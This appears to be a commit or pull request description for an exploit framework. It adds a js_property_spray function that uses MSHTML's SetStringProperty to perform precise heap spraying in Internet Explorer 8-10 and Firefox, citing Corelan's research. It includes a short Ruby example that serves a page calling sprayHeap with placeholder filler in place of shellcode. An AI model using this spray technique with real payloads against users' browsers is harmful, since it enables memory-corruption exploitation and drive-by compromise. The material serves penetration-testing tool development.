Adds new function js_property_spray

This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty) function to trigger allocations by ntdll!RtlAllocateHeap.  It is based on Corelan's publication on "DEPS – Precise Heap Spray on Firefox and IE10".

It has been tested on IE 8, 9, and 10. Also on Firefox.

Here's a very basic example on how to test the new function:

	def load_exploit_html(cli, req)
		spray = js_property_spray

		html = %Q|
		<html>
		<head></head>
		<body>
		<script>
		#{spray}

		var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747");
		sprayHeap({shellcode:s});
		alert("done");
		</script>
		</body>
		</html>
		|

		return html
	end